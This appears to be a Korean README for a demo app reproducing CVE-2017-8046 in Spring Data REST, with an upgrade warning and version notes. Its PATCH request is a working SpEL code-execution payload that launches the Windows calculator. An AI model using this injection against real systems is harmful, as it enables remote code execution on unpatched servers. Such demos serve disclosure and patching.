
SPRING DATA REST CVE-2017-8046 DEMO
지금 즉시 spring data rest를 업그레이드하세요.
이 애플리케이션 시작
test 인스턴스 생성
POST /entityPersons/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Cache-Control: no-cache
{
"firstName":"f2"
}
PATCH /entityPersons/1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache
[
{
"op":"test",
"path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[] {67, 58, 92, 87, 105, 110, 100, 111, 119, 115, 92, 115, 121, 115, 116, 101, 109, 51, 50, 92, 99, 97, 108, 99, 46, 101, 120, 101} ))",
"value":""
}
]
spring boot 1.5.7.RELEASE는 spring data rest 2.6.7을 사용하지만, 1.4.x는 spring data rest 버전을 업그레이드하지 않습니다.